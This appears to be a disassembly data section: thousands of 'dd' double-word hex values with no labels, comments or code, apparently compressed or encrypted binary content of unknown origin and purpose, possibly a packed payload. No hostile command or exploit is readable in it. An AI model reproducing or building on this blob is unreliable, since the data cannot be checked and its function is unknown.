		dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h,	2413CE5Eh
		dd 0AD6C7Ch, 59A94E82h,	0A20E9048h, 40A14434h, 2058B9A4h
		dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
		dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
		dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
		dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
		dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
		dd 1C5DCAFAh, 3E9E055h,	0A468D900h, 81D4B785h, 0C4900029h
		dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h,	0C4AD0064h
		dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
		dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
		dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
		dd 744C8EEh, 23E2475Ch,	9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
		dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h,	60318925h
		dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
		dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
		dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
		dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
		dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
		dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h
		dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h
		dd 52510F00h, 9FB35D2h,	0E68E009Ah, 0A6E9661h, 3000C481h
		dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h
		dd 21DFDAEh, 89D838FEh,	0C108071Eh, 14100E0Ch, 207D2016h
		dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h
		dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h
		dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh
		dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh
		dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh,	0E6D8B7CBh
		dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h,	5CD72F89h
		dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h,	70D4E8D3h
		dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh
		dd 32DC1F6Ah, 7FC0AD1Fh
		dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h
		dd 2402D6F8h, 0C82D66h,	505553B4h, 22579856h, 0F00FB901h
		dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh
		dd 0F4EE3B13h, 5E76F0h,	5A8FD15h, 8C5C8B38h, 4CFC831Ch
		dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h,	0F7282474h
		dd 7440698h, 62336815h,	0C71CD0FFh, 17CC849h, 890080ECh
		dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
		dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
		dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
		dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
		dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h,	0BB661007h
		dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
		dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
		dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h,	26985B98h
		dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh,	26807EB4h
		dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
		dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h,	0FAC89741h
		dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
		dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
		dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh,	7334F900h
		dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h,	5CA65AC0h
		dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
		dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
		dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
		dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h,	896F00FAh
		dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
		dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
		dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
		dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
		dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
		dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
		dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
		dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
		dd 25013C0h, 527E5411h,	5295800h, 0C4860CDh, 0FAA6005Ch
		dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h,	8D29C8D9h
		dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh,	136BB28h
		dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
		dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
		dd 0D200F35h, 2C35943h,	6D316C62h, 8840098Dh, 15017310h
		dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
		dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
		dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
		dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
		dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh,	7B2738Ch
		dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah,	0A4003B29h
		dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
		dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh,	0C005DAFDh
		dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch,	0E0587D6Eh
		dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
		dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
		dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
		dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
		dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
		dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
		dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
		dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h,	0C1A9C14h
		dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
		dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
		dd 80C092DAh, 0F4887Ah,	0D741529Ah, 0CA03140Bh,	89770600h
		dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
		dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h,	44FD6Fh
		dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
		dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
		dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
		dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
		dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
		dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
		dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
		dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
		dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h,	2BD00024h
		dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
		dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h,	0F286Eh
		dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
		dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h,	0CB47C370h
		dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h,	27E75AFDh
		dd 0D190C3h, 406A8726h,	1E100668h, 84E3F900h, 2C1F62BAh
		dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh,	0A8178044h
		dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
		dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
		dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
		dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
		dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
		dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh,	0FCF80FDh
		dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
		dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh,	0FA18D2CBh
		dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
		dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
		dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
		dd 387225Ah, 56824C75h,	539B425Bh, 724D45A8h, 18DB7F00h
		dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh
		dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h
		dd 0FC0010C6h, 800203h,	0F3E4E938h, 11C9798h, 0C23A8300h
		dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h
		dd 17A95AAh, 6F1CA5A3h,	0E8744DCEh, 0B80037D4h,	97778AE3h
		dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh
		dd 70291FEEh, 9CEC0E9h,	0ADDC071Ah, 7100D9F4h, 0AEF00CB1h
		dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh,	14C0C3F1h
		dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh,	0B2523E4Bh
		dd 3E9A776h, 29E5F810h,	0FCB8401Ch, 0ED58DBE8h,	0D5371E65h
		dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h,	87453D80h
		dd 6F936400h, 6D37803h,	20050055h, 2608A11Bh, 44006209h
		dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h
		dd 541A1500h, 0AC2EDC8Ah
		dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h,	7AD95F7h
		dd 804893D8h, 875C05Dh,	141FCCD3h, 6C02CA3h, 18F7C62Dh
		dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h
		dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
		dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
		dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h,	734B7705h
		dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
		dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
		dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
		dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh,	0F2C1997Fh
		dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
		dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh,	0CAFF50D3h
		dd 0DF7126h, 33CD9214h,	474F5455h, 6843EC0Fh, 27A0008Ch
		dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
		dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
		dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h,	0DB642ED6h
		dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
		dd 7600F6F8h, 199BB82h,	7A75251Ch, 4B0A0F42h, 0C200A7D4h
		dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h,	1AD6482Fh
		dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h,	4142ABh
		dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
		dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
		dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h,	0BE927D33h
		dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h,	749C53E9h
		dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
		dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh,	0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
		dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
		dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h,	0B0279943h
		dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh,	0C183BE5Ah
		dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
		dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
		dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h,	0EB15FF60h
		dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
		dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h,	287C0A6Ah
		dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
		dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah,	458A006Ah
		dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
		dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
		dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h,	7DA91A7Ch
		dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
		dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh,	5700D102h
		dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
		dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh,	9C2C39h
		dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
		dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
		dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
		dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h,	52450F1Bh
		dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
		dd 1AEE224h, 308298E9h,	0C83A41B0h, 4799B0Dh, 407F7700h
		dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
		dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
		dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
		dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h,	0F8347B59h
		dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
		dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h,	65F27Eh
		dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
		dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
		dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h,	0C82CB5h
		dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
		dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h,	6F9B014Ah
		dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
		dd 64F7600h, 41B10CBCh,	61FC6400h, 65633B6Eh, 19200029h
		dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
		dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
		dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
		dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
		dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch,	99D7841Dh
		dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
		dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
		dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
		dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h,	8FEED912h
		dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
		dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
		dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
		dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
		dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h,	94F7FA3h
		dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
		dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
		dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
		dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
		dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
		dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
		dd 3047D83h, 5570C09Bh,	0D0E70EC8h, 12BC62B8h, 0CAD95200h
		dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h,	0F601AF27h
		dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
		dd 38840800h, 2761012h,	56E90009h, 33557EA5h, 6E1C8B78h
		dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
		dd 18EC0C99h, 12A95A8h,	0AC0E495Fh, 0D8727D81h,	0FD007F63h
		dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
		dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
		dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
		dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
		dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
		dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h,	0F202131Eh
		dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
		dd 429800E0h, 10F9C0Eh,	8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
		dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h,	0BEF93C48h
		dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
		dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
		dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h,	3D81D140h
		dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
		dd 0B4B80A62h
		dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h
		dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h
		dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch
		dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
		dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
		dd 94BC2441h, 0F61E3Ah,	8B28BB3Ah, 48010537h, 2C438319h
		dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah,	7B80DE02h
		dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh,	0F84E8D6Dh
		dd 6C0394Ah, 7705F980h,	49FAFC51h, 1904DAFAh, 1708B710h
		dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh,	7A1CC72Bh
		dd 6E407980h, 1081322h,	88191D90h, 1E101D02h, 3E071E04h
		dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh,	73E43h
		dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h,	842E00BCh
		dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
		dd 48F38918h, 8009939h,	0C8C111ADh, 8E00D509h, 14550E9h
		dd 0FA1833FDh, 25F822h,	367B8D05h, 0EB1354BEh, 5C9DA30Fh
		dd 17E980C3h, 14801ABh,	425E8414h, 0EDE4F2B4h, 5CBCE488h
		dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh,	3E548602h
		dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
		dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h,	93208BF1h
		dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
		dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
		dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
		dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch,	4409000Eh
		dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
		dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
		dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
		dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h,	264B22BCh
		dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
		dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
		dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
		dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h,	7257865Fh
		dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
		dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
		dd 535E3Ah, 0C2E349BCh,	436517h, 0B6B2BE1Ch, 6D90B56Eh
		dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
		dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
		dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
		dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
		dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
		dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
		dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h,	0B01E005Ch
		dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
		dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
		dd 479430Bh, 4CCA7831h,	2000E698h, 76324D58h, 0EE476113h
		dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
		dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
		dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h,	3000540h
		dd 8788021h, 0E8F0110h,	0EAA90750h, 0FE09BBC1h,	0E9D260CAh
		dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h,	0C0219829h
		dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
		dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
		dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h,	88649002h
		dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
		dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
		dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h,	8AE04B2Dh
		dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h,	0F124E50Bh
		dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
		dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
		dd 76968CBh, 587F8470h,	0C3E4435Ch, 6007E8C3h, 0EC100146h
		dd 6404B290h, 0F0F251h,	725411D8h, 736E6103h, 74656D00h
		dd 437C19B6h, 775727Bh,	0DC34916Fh, 54CC429Dh, 8AABD540h
		dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h,	0C627018Eh
		dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
		dd 3641378h, 45287C14h,	780521Fh, 0DC008496h, 0E8C0C68Fh
		dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h,	218068DBh
		dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
		dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
		dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh,	331F8471h
		dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h,	30451ABh
		dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
		dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
		dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh,	8C463F4Fh
		dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
		dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
		dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
		dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
		dd 30B62A12h, 1A93867h,	59510A0Fh, 658FA0B8h, 1C1745FEh
		dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
		dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
		dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
		dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
		dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
		dd 4B829AEh, 2B641F03h,	0B6AB8072h, 0BEE8BA08h,	0C3CDCFBh
		dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah,	4C331E45h
